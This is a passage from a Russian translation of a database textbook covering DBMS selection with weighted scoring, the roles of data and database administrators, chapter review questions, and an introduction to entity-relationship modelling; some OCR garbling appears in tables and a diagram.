Более подробные сведения о CASE-инструментах заинтересованный читатель сможет найти в многочисленных публикациях на эту тему (Fisher, 1988; QED, 1989; McClure, 1989; Gane, 1990; Batini et al., 1992; Kendall and Kendall, 1995).
Выбор СУБД
Важным этапом жизненного цикла приложений баз данных является выбор целевой СУБД. Хотя выбором СУБД приходится заниматься не очень часто — например, при расширении компании или замене существующих систем, — предлагаемые методы можно использовать для оценки новых продуктов, поступающих на рынок. Цель данного этапа заключается в выборе системы, удовлетворяющей как текущим, так и будущим требованиям организации, при оптимальном уровне затрат, включающих расходы на приобретение СУБД и дополнительного аппаратного и программного обеспечения, а также расходы, связанные с переходом к новой системе и необходимостью переобучения персонала.
Простейший подход к выбору нужной СУБД предполагает выполнение оценки того, насколько предоставляемые СУБД функциональные возможности удовлетворяют существующим требованиям. Однако на практике обычно используются более сложные методы. В процессе выбора новой СУБД разработчик должен убедиться в том, что вся процедура хорошо спланирована, а выбранная система действительно будет обладать достоинствами, способными принести организации реальные выгоды.
Выбор оптимальной системы
Ниже перечислены основные этапы процедуры выбора СУБД.
Определение области компетенции проводимого изучения.
Сокращение списка претендентов до двух-трех продуктов.
Оценка продуктов.
Проведение обоснованного выбора и подготовка отчета.
Определение области компетенции проводимого изучения
На этом этапе устанавливаются границы компетенции проводимого исследования, его цели и степень охвата доступного материала, а также формулируются задачи, которые необходимо решить. Кроме того, подготовленный документ должен включать описание тех критериев (выбираемых исходя из спецификации требований пользователей), которые будут использоваться для оценки возможностей СУБД, предварительный список анализируемых продуктов, а также все прочие необходимые условия проведения изучения, включая сведения об установленных для него временных рамках.
Сокращение списка претендентов до двух-трех продуктов
Критерии, выделенные как важнейшие для успешной реализации системы, следует использовать для создания предварительного списка оцениваемых СУБД. Например, решение о включении некоторой СУБД в подобный список может зависеть от установленного бюджета, уровня поддержки продукта со стороны производителя СУБД, совместимости с другим программным обеспечением, а также требованиями продукта к используемому оборудованию. Дополнительная полезная информация о продуктах может быть получена от уже существующих пользователей, которые смогут предоставить более подробные сведения о реальном качестве поддержки со стороны производителя СУБД, о совместимости с отдельными приложениями, а также дать сравнительную характеристику результатов, достигаемых при использовании той или иной вычислительной платформы. Кроме того, для сравнения разных СУБД можно использовать имеющиеся результаты тестирования их производительности. На основе исходного списка, после предварительного изучения функций и возможностей включенных в него СУБД, создается окончательный вариант списка, включающий не более двух-трех продуктов.
В настоящее время превосходным источником информации, который вполне может быть использован для поиска потенциальных кандидатов на роль целевой СУБД, является World Wide Web (WWW). Web-узлы производителей СУБД могут содержать ценную информацию о созданных ими продуктах. В качестве отправной точки заинтересованный читатель может использовать Web-узел специализированного журнала под названием DBMS ONLINE (его адрес: www.dbmsmag.co), содержащий богатейший перечень СУБД.
Оценка продуктов
Для оценки возможностей СУБД могут использоваться самые разнообразные параметры, как в виде групп (например, определение данных), так и по отдельности (например, имеющиеся типы данных). В табл. 4.2 представлены возможные параметры оценки СУБД, распределенные по отдельным группам: определение данных, физические параметры, доступность, обработка транзакций, утилиты, средства разработки и другие параметры.
Таблица 4.2. Рекомендуемые параметры оценки СУБД
Определение данных
Физические параметры
Расширенная поддержка первичных ключей
Определение внешних ключей Предусмотренные типы данных Расширяемость типов данных
Определение доменов
Простота реструктуризации
Средства поддержки целостности данных
Реализация механизма представлений
Поддержка словаря данных
Независимость от данных
Тип базовой модели организации данных Поддержка эволюции схемы.
Доступность
Предусмотренные файловые структуры
Поддержка определения файловых структур
Простота реорганизации
Средства индексирования
Поля/записи с переменной длиной
Сжатие данных
Возможности шифрования
Требования к памяти
Требования к устройствам хранения данных
Обработка транзакций
Язык запросов: совместимость со стандартами
Процедуры резервного копирования и восстановления
SQL-92/SQL3
Интерфейс для других систем
Интерфейс для языков третьего поколения
Многопользовательский доступ
Защита базы данных:
Поддержка контрольных точек
Средства ведения системного журнала
Поддерживаемый уровень детализации параллельности
управление доступом к данным;
поддержка механизма авторизации
Возможные стратегии разрешения тупиковых ситуаций
Поддержка усовершенствованных моделей управления транзакциями
Параллельная обработка запросов
Утилиты
Средства разработки
Измерение производительности
Инструменты, использующие языки четвертого и пятого поколений
Настройка производительности базы данных Инструменты загрузки/выгрузки данных Контроль активности пользователей Поддержка процедур администрирования базы данных
CASE-инструменты
Инструменты для работы с оконным интерфейсом
Поддержка хранимых процедур, триггеров и правил
Другие параметры
Способность к модернизации Стабильность производителя СУБД База пользователей
Обучение и поддержка пользователей
Взаимодействие с другими СУБД и прочими системами
Поддержка работы в Internet
Утилиты репликации
Возможности распределенной работы
Другие параметры
Качество и полнота документации Требуемая операционная система Стоимость
Оперативная справочная система Используемые стандарты
Переносимость
Требуемое аппаратное обеспечение
Поддержка работы в сети
Объектно-ориентированные свойства
Поддержка двух- или трехуровневой архитектуры “клиент/сервер”
Управление версиями
Расширенная оптимизация запросов Масштабируемость
Производительность
Пропускная способность при обработке транзакций
Максимальное количество одновременно работающих пользователей
Если просто отмечать насколько хороши или плохи эти параметры в каждом случае, то сравнение разных СУБД может оказаться очень трудной задачей. Более полезный подход основан на введении весовых коэффициентов, определяющих относительную важность для организации отдельных параметров или их групп. В результате суммирования всех полученных числовых значений можно будет получить некоторую количественную оценку, позволяющую сравнить разные СУБД. В табл. 4.3 показан пример вычисления суммарной количественной оценки группы физических параметров для некоторой условной СУБД. Каждому выделенному параметру присваивается рейтинг, устанавливаемый по 10-бальной шкале, а также весовой коэффициент (нормированный по единице) для обозначения важности того или иного параметра для данной организации по сравнению с другими параметрами этой группы. При этом оценка каждого параметра вычисляется как произведение рейтинга и весового коэффициента. Например, в табл. 4.3 параметр “Простота реорганизации” имеет рейтинг 4, весовой коэффициент — 0,25, что в итоге дает 1,0. Этому параметру присвоен наибольший весовой коэффициент в данной таблице, что подчеркивает его важность в этой части оценки. Кроме того, параметр “Простота реорганизации” имеет в 5 раз больший весовой коэффициент, чем, например, параметр “Сжатие данных” (с наименьшим весовым коэффициентом 0,05). В то же время параметры “Требования к памяти” и “Требования к устройствам хранения” имеют нулевой весовой коэффициент, а потому они вообще не включены в эту оценку.
Таблица 4.3. Пример анализа параметров при оценке СУБД
СУБД: Гипотетический пример
Производитель: Гипотетический производитель
Группа параметров “Физические параметры”
Параметры
Комментарии
Рейтинг
Вес
Оценка
Предусмотренные файловые структуры
4 структуры на выбор
8
0,15
1.2
Поддержка определения файловых структур
Несаморегулирующаяся
6
0,2
1.2
Простота реорганизации
4
0,25
1.0
Средства индексирования
6
0,15
0,9
Поля/записи с переменной длиной
6
0,15
0,9
Параметры
Комментарии
Рейтинг
Вес
Оценка
Сжатие данных
7
0,05
0,35
Возможности шифрования
4
0,05
0,2
Требования к памяти
0
0,00
0
Требования к устройствам хра
0
0,00
0
нения данных
Итого
41
1,0
5.75
Оценка группы
5.75
0,25
1,44
Для получения итоговой оценки для всей группы нужно сложить оценки всех параметров. Далее оценка группы умножается на весовой коэффициент, который обозначает важность этой группы параметров по отношению к другим группам. Например, в табл. 4.3 общая оценка группы “Физические параметры” равна 5,75, а весовой коэффициент этой группы — 0,25.
Наконец, все взвешенные оценки для каждой оцениваемой группы параметров суммируются, что позволяет определить общую оценку данной СУБД, которая будет сравниваться с оценками других продуктов. Победителем будет считаться продукт с наибольшей суммарной оценкой.
Помимо анализа по предложенной схеме, продукты можно оценивать на основе демонстрации их возможностей, осуществляемых производителем продукта, или же посредством тестирования продуктов собственными силами. Внутреннее тестирование собственными силами предполагает создание пробного испытательного проекта, использующего продукты-кандидаты в качестве целевой СУБД. Каждый продукт тестируется и оценивается по его способности удовлетворять требования пользователей к данному приложению баз данных.
Проведение обоснованного выбора и подготовка отчета
Заключительным этапом выбора СУБД является документирование всего проведенного анализа, подготовка заключений с оценкой отобранных продуктов и выдача рекомендаций по выбору целевой СУБД проекта.
Администрирование данных и администрирование базы данных
Администратор данных (АД) и администратор базы данных (АБД) отвечают за управление действиями, связанными с корпоративными данными и корпоративной базой данных соответственно. В этом разделе мы рассмотрим цели и задачи, входящие в круг обязанностей АД и АБД в некоторой организации. В табл. 4.4 представлены этапы жизненного цикла приложений баз данных и указан вклад АД и АБД на каждом из них (или исполняемые ими роли (основная или вспомогательная)).
Таблица 4.4. Этапы жизненного цикла базы данных с указанием роли АД и АБД
Этап
Основная роль
Вспомогательная роль
Планирование разработки базы данных
АД
АВД
Определение требований к системе
АД
АВД
Сбор и анализ требований пользователей
АД
АВД
Этап
Основная роль
Вспомогательная роль
Концептуальное проектирование базы данных
АД
АБД'
Выбор целевой СУБД
АБД
АД
Логическое проектирование базы данных
АД
АБД
Разработка приложений
АБД
АД
Физическое проектирование базы данных
АБД
АД
Создание прототипов
АБД
АД
Реализация
АБД
АД
Конвертирование и загрузка данных
АБД
АД
Тестирование
АБД
АД
Эксплуатация и сопровождение
АБД
АД
Обратите внимание на то, что АД принимает более активное участие в работе на ранних стадиях жизненного цикла — от планирования базы данных до этапа ее логического проектирования, тогда как АБД выполняет более активную роль на поздних стадиях — от проектирования приложений и физического проектирования базы данных до этапа эксплуатации и сопровождения готовой системы.
Администрирование данных
Администрирование Управление информационными ресурсами, включая пла- данныхнирование базы данных, разработку и внедрение стандар
тов, определение ограничений и процедур, а также концептуальное и логическое проектирование баз данных.
Администратор данных отвечает за корпоративные информационные ресурсы, включая и некомпьютеризированные данные. На практике это часто связано с управлением данными, которые являются совместно используемым ресурсом для различных пользователей и прикладных программ данной организации. В разных организациях количество сотрудников, выполняющих функции АД, может отличаться и обычно определяется размерами самой организации. Основная обязанность АД состоит в обмене консультациями и советами со старшими менеджерами, а также в слежении за тем, чтобы применение технологий баз данных продолжало соответствовать корпоративным целям. Должность АД обычно принадлежит отделу информационных систем организации. В одних случаях администрирование данных может представлять собой отдельную функциональную задачу, а в других — совмещаться с администрированием базы данных.
В настоящее время при обдумывании стратегии планирования информационной системы все больший акцент делается на важности АД. Организации все в большей и большей степени склонны уделять внимание значению данных, используемых или собранных в их информационной системе, как средству достижения более высокой конкурентоспособности. В результате возникает обязательное требование слияния стратегии построения информационных систем с бизнес-стратегиями организации. Это позволяет создать организацию с более гибкой структурой, способную адаптироваться к резким изменениям, имеющую более творческую и инновационную внутреннюю среду, обеспечивающую эффективную перестройку бизнес-процессов в случае необходимости. Упомянутый перенос акцентов означает, что АД во все большей мере должен понимать идеологию развития не только информационных систем, но и бизнес-процессов, и играть ключевую роль в разработке стратегии развития информаци-
онной системы, поддерживая ее соответствие деловым стратегиям организации. Это изменение мышления отражает происшедшее в недавнем прошлом драматическое изменение в назначении компьютерных систем: от исходного использования компьютеров для более эффективного управления некоторыми аспектами бизнес-процессов, через последующее повышение эффективности бизнес-процессов, до поддержки и обеспечения изменчивости и инновационности организаций.
Задачи администрирования данных
Ниже перечислены основные задачи администрирования данных.
Выбор подходящих инструментов разработки.
Помощь в разработке корпоративных стратегий построения информационной системы, развития информационных технологий и бизнес-стратегий.
Предварительная оценка осуществимости и планирование процесса создания базы данных.
Разработка корпоративной модели данных.
Определение требований организации к используемым данным.
Определение стандартов сбора данных и выбор формата их представления.
Оценка объемов данных и вероятности их роста.
Определение способов и интенсивности использования данных.
Определение правил доступа к данным и мер безопасности, соответствующих правовым нормам и внутренним требованиям организации.
Концептуальное и логическое проектирование базы данных.
Взаимодействие с АБД и разработчиками приложений с целью обеспечения соответствия создаваемых приложений всем существующим требованиям.
Обучение пользователей — изучение существующих стандартов обработки данных и юридической ответственности за их некорректное применение.
Постоянная модернизация используемых информационных систем и технологий по мере развития бизнес-процессов.
Обеспечение полноты всей требуемой документации, включая корпоративную модель, стандарты, ограничения, процедуры, использование словаря данных, а также элементы управления работой конечных пользователей.
Поддержка словаря данных организации.
Взаимодействие с конечными пользователями для определения новых требований и разрешения проблем, связанных с доступом к данным и недостаточной производительностью их обработки.-
Администрирование базы данных
Администрирование Управление физической реализацией приложений баз данных: базы данныхфизическое проектирование базы данных и ее реализация, ор
ганизация поддержки целостности и защиты данных, наблюдение за текущим уровнем производительности системы, а также реорганизация базы данных по мере необходимости.
Деятельность АБД является в большей мере технической, чем деятельность АД, и предусматривает знание особенностей конкретных СУБД и операционных систем. Хотя основные обязанности АБД сконцентрированы на разработке и сопровождении систем с максимально полным использованием возможностей целевой СУБД, АБД также в некоторой степени оказывает помощь АД (см. табл. 4.4). Количество персонала, выполняющего администрирование баз данных, может варьироваться и в значительной мере зависит от размера самой организации.
Задачи администрирования базы данных
Ниже перечислены основные задачи администрирования базы данных.
Оценка и выбор целевой СУБД.
Физическое проектирование базы данных.
Реализация физического проекта базы данных в среде целевой СУБД.
Определение требований защиты и поддержки целостности данных.
Взаимодействие с разработчиками приложений баз данных.
Разработка стратегии тестирования.
Обучение пользователей.
Ответственность за сдачу в эксплуатацию готового приложения базы данных.
Контроль текущей производительности системы и соответствующая настройка базы данных.
Регулярное резервное копирование.
Разработка требуемых механизмов и процедур восстановления.
Обеспечение полноты используемой документации, включая материалы, разработанные внутри организации.
Поддержка актуальности используемого программного и аппаратного обеспечения, включая заказ и установку пакетов обновлений в случае необходимости.
Сравнение задач администрирования данных и базы данных
В предыдущих разделах рассмотрены задачи администрирования данных и базы данных. В этом разделе приводится их краткий сравнительный анализ. В табл. 4.5 подытожены основные задачи АД и АБД. Вероятно, наиболее очевидное отличие заключается в самой природе выполняемой ими работы. Работа АД является в большей степени управленческой, а работа АБД — технической.
Таблица 4.5. Основные отличия в задачах, выполняемых АД и АБД
Администрирование данных
Администрирование базы данных
Участвует в стратегическом планировании информационной системы организации
Оценивает новые СУБД
Определяет долгосрочные цели
Выполняет планы достижения целей
Применяет стандарты, политики и процедуры
Применяет стандарты, политики и процедуры
Определяет требования к данным
Реализует требования к данным
Выполняет концептуальное и логическое проектирование базы данных
Выполняет логическое и физическое проектирование базы данных
Разрабатывает и сопровождает корпоративную модель данных
Реализует физический проект базы данных
Координирует разработку системы
Выполняет текущий контроль и управление базой данных
Управленческая направленность
Техническая направленность
Работа ДЦ не зависит от типа целевой СУБД
Работа АБД зависит от типа целевой СУБД
Резюме
Начиная с 70-х годов системы с базами данных постепенно вытесняли файловые системы (как часть инфраструктуры информационной системы организации). В то же время все больше возрастало понимание того, что данные являются важным корпоративным ресурсом, к которому нужно относиться с таким же вниманием, как и к другим ресурсам организации.
Информационная система является набором ресурсов, которые позволяют собирать, поддерживать актуальность, контролировать и распространять информацию внутри организации.
Компьютеризованная информационная система включает такие компоненты как: база данных, программное обеспечение базы данных, прикладное программное обеспечение, компьютерное оборудование с устройствами хранения данных, а также персонал, который использует и разрабатывает систему.
База данных является фундаментальным компонентом информационной системы, а ее разработку и использование следует рассматривать с точки зрения возможного расширения организации. Следовательно, жизненный цикл информационной системы организации неразрывно связан с жизненным циклом базы данных.
Основные этапы жизненного цикла приложения базы данных включают: планирование разработки базы данных, определение требований к системе, сбор и анализ требований пользователей, проектирование базы данных, выбор целевой СУБД (в случае необходимости), разработку приложений, создание прототипов (в случае необходимости), реализацию, конвертирование и загрузку данных, тестирование, эксплуатацию и сопровождение.
Планирование разработки базы данных представляет собой совокупность организационных действий, которые позволяют с максимальной эффективностью реализовать этапы создания приложения базы данных.
Определение требований к системе включает определение предметной области и границ приложения базы данных, в том числе основных областей его применения и пользовательских групп.
Сбор и анализ требований пользователей представляет собой процесс сбора и анализа информации о той части организации, которая будет обслуживаться создаваемым приложением баз данных, а также использование этой информации для определения требований пользователей к новой системе.
Проектирование базы данных включает создание проекта базы данных, предназначенной для поддержки функционирования организации и достижения ее бизнес-целей. Этот этап охватывает концептуальное, логическое и физическое проектирование базы данных.
Выбор целевой СУБД предусматривает выбор наиболее приемлемой целевой СУБД, которая будет использоваться для поддержки приложений баз данных.
Разработка приложений включает проектирование интерфейса пользователя и прикладных программ, использующих и обрабатывающих информацию в базе данных.
Создание прототипов означает построение рабочих моделей приложений баз данных, позволяющих проектировщикам и будущим пользователям визуально ознакомиться с системой и оценить ее возможности.
Реализация включает физическое воплощение разработанной базы данных и использующих ес приложений.
Конвертирование и загрузка данных предусматривает перенос любых существующих данных в новую базу данных и придание любым существующим приложениям вида, пригодного для работы с новой базой данных.
Тестирование представляет собой процесс выполнения прикладных программ с целью поиска ошибок. Для оценки полноты и корректности созданных приложений баз данных могут использоваться различные стратегии тестирования: нисходящее тестирование, восходящее тестирование, тестирование потоков и интенсивное тестирование.
Эксплуатация и сопровождение состоит в промышленном использовании созданной системы, сопровождаемом постоянной проверкой ее текущих показателей функционирования, а также необходимой поддержкой.
Две основные цели моделирования данных заключаются в упрощении понимания смысла (семантики) данных и проведении обсуждения существующих информационных требований. Модель данных облегчает понимание смысла данных, и поэтому мы создаем модели, позволяющие уяснить представление о данных каждого из существующих типов пользователей, суть самой природы данных, не зависящей от их физического представления, а также использование этих данных различными приложениями..
Концептуальное проектирование базы данных представляет собой процесс создания модели использования информации в организации, не зависящей от всех физических подробностей ее представления.
Логическое проектирование базы данных — это процесс создания модели использования информации в организации, построенной с учетом выбранной модели представления данных в базе, но независимо от особенностей конкретной целевой СУБД и других физических подробностей реализации.
Логическая модель данных, отображающая множество представлений об организации отдельных типов пользователей, называется глобальной логической моделью данных. Для разработки глобальной логической модели данных используются два основных подхода: подход на основе интеграции представлений и централизованный подход.
Физическое проектирование базы данных представляет собой процесс создания описания реализации базы данных во вторичной памяти. Оно включает определение выбранных структур хранения и методов доступа, обеспечивающих эффективную обработку данных.
Проектирование приложений базы данных включает два основных этапа: проектирование транзакций и проектирование пользовательского интерфейса. Транзакция базы данных представляет собой операцию, для выполнения которой требуется осуществить доступ к базе данных. Как правило, она является отражением некоторого события, происходящего в реальном мире. Цель проектирования транзакций заключается в определении и документировании высокоуровневых характеристик транзакций, необходимых для создаваемой системы с базой данных.
Термин CASE-инструмент (т.е. средство автоматизированного проектирования и создания программ) можно применить в отношении любого инструмента, который способствует проектированию и созданию программ, а также позволяет максимально эффективно выполнить разработку базы данных. CASE- инструменты принято делить на три категории: CASE-инструменты высокого уровня, CASE-инструменты низкого уровня и интегрированные CASE- инструменты.
Хотя выбор СУБД выполняется не так уж часто — обычно только при расширении масштабов предприятия или при замене существующих систем, — все же этот этап работы иногда приходится выполнять для оценки новых СУБД.
Его цель заключается в выборе системы, которая удовлетворяет текущим и будущим требованиям организации, а также обладает оптимальной стоимостью, включая расходы на приобретение СУБД и любого другого дополнительного программного/аппаратного обеспечения, а также расходы на замену системы и переобучение персонала.
Администрированием данных называется управление ресурсами данных, включая планирование базы данных, разработку и поддержку стандартов, требований и процедур, а также концептуальное и логическое проектирование базы данных. Администрирование данных в основном связано с задачами, которые выполняются на начальных этапах жизненного цикла приложения баз данных.
Администрированием базы данных называется управление физической реализацией приложений баз данных, включая физическое проектирование базы данных и ее реализацию, активизацию средств поддержки целостности и защиты данных, контроль текущей производительности системы и реорганизацию базы данных. Администрирование базы данных обычно связано с задачами, которые выполняются на поздних этапах жизненного цикла приложения баз данных.
Вопросы
Поясните связи, существующие между жизненным циклом информационной системы и жизненным циклом приложения базы данных.
Опишите цели каждого этапа жизненного цикла приложения базы данных.
Укажите некоторые из существующих методов подготовки спецификаций требований пользователей.
Опишите основные цели этапов концептуального и логического проектирования базы данных.
Объясните, почему конкретный тип целевой СУБД должен быть выбран еще до начала физического проектирования базы данных. Опишите основные цели этапа физического проектирования базы данных.
Опишите основные особенности подхода с созданием прототипов и укажите потенциальные преимущества его использования.
Кратко опишите процедуру выбора целевой СУБД.
Определите цели и задачи администрирования данных и администрирования базы данных.
Упражнения
Создайте корпоративную модель данных для учебного проекта Wellmeadows Hospital, описанного в приложении А, “Учебный проект Wellmeadows Hospital”.
Предположим, что вы отвечаете за выбор новой целевой СУБД для некоторой группы пользователей из вашей организации. Для выполнения этого упражнения вам прежде всего необходимо определить набор требований этой группы, а затем установить набор характеристик, которыми должна обладать целевая СУБД, способная удовлетворить заданные требования. Опишите процесс оценки и выбора наилучшей СУБД.
Предположим, что вы отвечаете за выбор СУБД для учебного проекта Wellmeadows Hospital. Опишите процесс оценки и выбора наилучшей целевой СУБД для этого проекта.
Исследуйте, в какой степени администрирование данных и администрирование базы данных могут занимать отдельные функциональные ниши в вашей организации. Опишите, если это возможно, данную организацию, круг вопросов, входящих в компетенцию соответствующих исполнителей, а также задачи, связанные с каждой из этих функциональных ниш.
Часть
Методология
Глава 5. Модель “сущность-связь”182
Глава 6. Нормализация222
Глава 7. Методология концептуального проектирования баз данных 259
Глава 8. Методология логического проектирования реляционных баз данных277
Глава 9. Методология физического проектирования реляционных баз данных303
Глава 10. Пример разработки концептуального проекта базы данных344
Глава 11. Пример разработки логического проекта базы данных368
Глава 12, Пример разработки физического проекта базы данных393
Модель “сущность-связь”
В этой главе... <
Использование высокоуровневых концептуальных моделей /данных для поддержки проектирования базы данных:.
Основные понятия, связанные с моделью “сущность-связь” у. (Entity-Relationship model, или ER-модель) — высоко- ууровневой концептуальной моделью.
Диаграммный метод изображения ER-модели.'
Обнаружение проблем, называемых “ловушками соединения", ; ! которые могут иметь место при создании ER-модели.
Ограничения, свойственные основным концепциям ER- ^/моделирования, и требования, предъявляемые к модели- Йрованию более сложных приложений с использованием ; '^расширенных концепций моделирования данных.
Основные концепции EER-моделирования (расширенной ER- у модели): специализация/генерализация и категоризация.
Диаграммная техника отображения специализации/генерали- зации и категоризации в EER-моделировании.
Модель “сущность-связь” (Entity-Relationship model, или ER-модель) представляет собой высокоуровневую концептуальную модель данных, которая была разработана Ченом (Chen) в 1976 году с целью упрощения задачи проектирования баз данных. Данная модель данных представляет собой набор концепций, которые описывают структуру базы данных и связанные с ней транзакции обновления и извлечения данных. Основная цель разработки высокоуровневой модели данных заключается в создании модели пользовательского восприятия данных и согласовании большого количества технических аспектов, связанных с проектированием базы данных. Следует особо подчеркнуть, что концептуальная модель данных не зависит от конкретной СУБД или аппаратной платформы, которая используется для реализации базы данных.
Структура этой главы
В разделе 5.1 мы начнем обсуждение основных концепций ER-моделированя, а именно типов сущностей, типов связей и их атрибутов, а также познакомимся с тем, как эти понятия могут быть представлены графически, в виде ER-диаграммы. В разделе 5.2 будут рассмотрены структурные ограничения, связанные с типами связей. Раздел 5.3 посвящен потенциальным проблемам, которые могут встретиться при разработке ER-модели, — так называемым “ловушкам соединения” (Howe, 1989).
В разделе 5.4 рассматриваются присущие методу ER-моделирования проблемы, связанные с представлением сложных приложений на основе базовых концепций этого метода (Schmidt and Swenson, 1975). Для преодоления ограничений, свойственных базовой ER- модели, позже были предложены дополнительные “семантические” концепции, которые привели к появлению расширенной (EER) модели “сущность-связь”. В этом же разделе описываются основные концепции EER-моделирования (специализация/генерализация и категоризация).
В разделе 5.5 процесс создания EER-модели данных рассматривается с точки зрения пользователя Manager из учебного проекта DreamHome (см. раздел 1.7). Показанная на рис. 5.1 ER-модель является примером одного из возможных конечных результатов этого процесса. Данный рисунок представлен в начале этой главы для того, чтобы привести читателю пример готовой модели данных, которую можно построить с помощью EER-моделирования. На этом этапе читателю необязательно полностью понимать все особенности такого моделирования, поскольку представленные на рис. 5.1 концепции подробно описываются ниже в этой главе.
Концепции ER-модели '
Основные концепции модели “сущность-связь” включают типы сущностей, типы связей и атрибуты. Эти концепции мы проанализируем на примерах, взятых из учебного проекта DreamHome.
Типы сущностей
Типы Объект или концепция, которые характеризуются на данном пред- сущностей приятии как имеющие независимое существование.
Основной концепцией ER-моделирования является тип сущности (entity type), который представляет множество объектов реального мира с одинаковыми свойствами. Тип сущности характеризуются независимым существованием и может быть объектом с физическим (или реальным) существованием или объектом с концептуальным (или абстрактным) существованием, как показано в табл. 5.1. Обратите внимание на то, что в данный момент можно дать только рабочее определение типа сущности, поскольку для них пока не существует строгого формального определения. Это значит, что разные разработчики могут выделять разные сущности.
Рис. 5.1. Пример EER-модели: представление о структуре данных пользователя Manager из учебного проекта DreamHome
Таблица 5.1. Примеры сущностей с физическим и концептуальным существованием
Физическое существование
Концептуальное существование
Работник
Объект недвижимости
Клиент
Осмотр объекта недвижимости
Инспекция объекта недвижимости
Продажа объекта недвижимости
Деталь Поставщик Изделие
Рабочий стаж
Сущность Экземпляр типа сущности, который может быть идентифицирован уникальным образом.
Каждый уникально идентифицируемый экземпляр типа сущности называется просто сущностью. Некоторые другие авторы предпочитают называть его экземпляром сущности (entity occurrence или entity instance). В этой главе будут использоваться только термины “сущность” и “тип сущности”. Однако термин “сущность” будет использоваться и в более общем смысле, там, где этот смысл очевиден.
Каждый тип сущности идентифицируется именем и списком свойств. База данных обычно содержит много разных типов сущностей. На рис. 5.1 показаны примеры таких типов сущностей, как Staff, Branch и Next_of_Kin. Несмотря на то, что тип сущности обладает уникальным набором атрибутов, каждая сущность имеет свои собственные значения для каждого атрибута. Типы сущностей можно классифицировать как сильные и слабые.
Слабый тип Тип сущности, существование Которого зависит от какого-то друго- сущности го типа сущности.
Сильный тип Тип сущности, существование которого не зависит от какого-то сущности другого типа сущности.
Слабый тип сущности зависит от существования другой сущности. На рис. 5.1 сущность Next_of_Kin является сущностью слабого типа, представляющей сведения о родственниках сотрудника. Сущность Next_of_Kin не может существовать в данной модели без присутствия сущности Staff. Сущность называется сильной, если ее существование не зависит от существования другой сущности. Примерами сильных сущностей (см. рис. 5.1) являются сущности Staff и Branch. Слабые сущности иногда называют дочерними (child), зависимыми (dependent) или подчиненными (subordinate), а сильные — родительскими (parent), сущностями-владельцами (owner) или доминантными (dominant).
Способы представления сущностей на диаграмме
Каждый сильный тип сущности изображается в виде прямоугольника с именем сущности внутри него, а каждый слабый тип сущности — в виде прямоугольника с двойным контуром. На рис. 5.2 показан пример представления на диаграммах сильных (Staff и Branch) и слабых (Next_of_Kin) типов сущностей.
||KStaff |
г 22112112212-11211
Next_of_Kin
ER-диаграммеER-диаграммеРис. 5.2. Представление на
ER-диаграмме
ER-диаграмме
сильных (Staff и Branch) и слабых
( Next_of_Kin ) типов сущностей
Атрибуты
Атрибут Свойство типа сущности или типа связи.
Отдельные свойства сущностей называются атрибутами. Например, сущность Branch (Отделение компании) может быть описана номером отделения (Branch_No), адресом (Address), номером телефона (Tel_No) и номером факса (Fax_No). Атрибуты сущности содержат значения, описывающие каждую сущность. Значения атрибутов представляют основную часть сведений, сохраняемых в базе данных.
Связь, которая соединяет две сущности, также может иметь атрибуты, аналогичные атрибутам типа сущности. Характеристики типов связи рассматриваются в разделе 5.1.3, а атрибуты связей — в разделе 5.1.4.
Домен Набор значений, котбрые могут быть присвоены атрибуту, атрибута
Каждый атрибут связан с набором значений, который называется доменом. Домен определяет все потенциальные значения, которые могут быть присвоены атрибуту. Например, количество комнат в объекте недвижимости может варьироваться от одной до пятнадцати для каждого экземпляра этой сущности. Следовательно, набор допустимых значений для атрибута “количество комнат” (Rooms) сущности Prop- erty_for_Rent можно определить как набор целых чисел от 1 до 15.
Различные атрибуты могут совместно использовать один и тот же домен. Например, атрибуты адреса (Address) сотрудников компании (сущность Staff) и владельцев объектов недвижимости (сущность Owner) могут совместно использовать один и тот же домен всех возможных адресов. Домены также могут представлять собой комбинацию, состоящую из нескольких других доменов. Например, домен даты рождения (DOB) сущности Staff состоит из таких подчиненных доменов, как день, месяц и год.
Домен атрибута имени FName определить труднее, потому что он состоит из множества всех возможных имен. Очевидно, что это — текстовая строка, но она может состоять не только из букв, но также из дефисов или других специальных символов. Полностью разработанная модель данных включает домены каждого атрибута, присутствующего в ER-модели.
Атрибуты делятся на простые и составные, однозначные и многозначные, а также производные.
Простой Атрибут, состоящий из одного компонента с независимым суще- атрибут ствованием.
Простые атрибуты не могут быть разделены на более мелкие компоненты. Примерами простых атрибутов являются атрибут пола (Sex) или зарплаты (Salary) работника. Простые атрибуты иногда называют атомарными.
Составной Атрибут, состоящий из нескольких компонентов, каждый из ко- атрибут торых характеризуется независимым существованием.
Некоторые атрибуты могут быть разделены на более мелкие компоненты, которые характеризуются независимым существованием. Например, атрибут адреса (Address) сущности, представляющей отделение компании, (Branch) со значением 463 Main St, Partick, Glasgow, Gil 9QX' может быть разбит на отдельные атрибуты улицы (Street) со значением 463 Main St', района (Area) со значением 'Partick', города (City) со значением 'Glasgow' и почтового индекса (Postcode) со значением 'Gil 9QX'.
Решение о моделировании атрибута Address в виде простого атрибута или разбиении его на атрибуты Street, Area, City и Postcode зависит от того, как рассматривается атрибут Address в пользовательском представлении — как единое целое или как набор отдельных компонентов.
Однозначный Атрибут, который содержит одно значение для одной сущности, атрибут
Большинство атрибутов типов сущностей являются однозначными для каждого отдельного экземпляра этой сущности. Например, сущность Branch всегда имеет единственное значение в атрибуте номера отделения компании (Branch_No), например 'ВЗ'. Поэтому атрибут Branch_No является однозначным.
Многозначный Атрибут, который содержит несколько значений для одной сущ- атрибут ности.
Некоторые атрибуты могут иметь несколько значений для одной сущности. Например, сущность Branch может иметь несколько значений для атрибута номера телефона отделения компании (Tel_No), например: ,0171-886-1212f и 'ОШ-Ввб-ПЭЗ*. Следовательно, атрибут Tel_No в этом случае будет многозначным. Многозначный атрибут допускает присутствие определенного количества значений (возможно, в заданных пределах — максимальном и минимальном количестве). Например, атрибут Tel_No отделения компании может иметь от одного до десяти значений. Иными словами, любое отделение компании должно иметь минимум один номер телефона и максимум десять собственных телефонных номеров.
Производный Атрибут, который представляет значение, производное от значе- атрибутния связанного с ним атрибута или некоторого множества атри
бутов, принадлежащих некоторому (не обязательно данному) типу сущности.
Некоторые атрибуты могут быть связаны с определенной сущностью. Например, возраст сотрудника (Аде) является величиной, производной от его даты рождения (DOB), и поэтому атрибуты Аде и DOB являются связанными. Причем атрибут Аде является производным атрибутом, значение которого вычисляется на основании значения атрибута DOB.
В некоторых случаях значение атрибута является производным от многих сущностей одного и того же типа сущности. Например, атрибут общего количества сотрудников отделения компании (Total_Staff) сущности типа Staff (Работник) может быть вычислен на основе подсчета количества сущностей Staff.
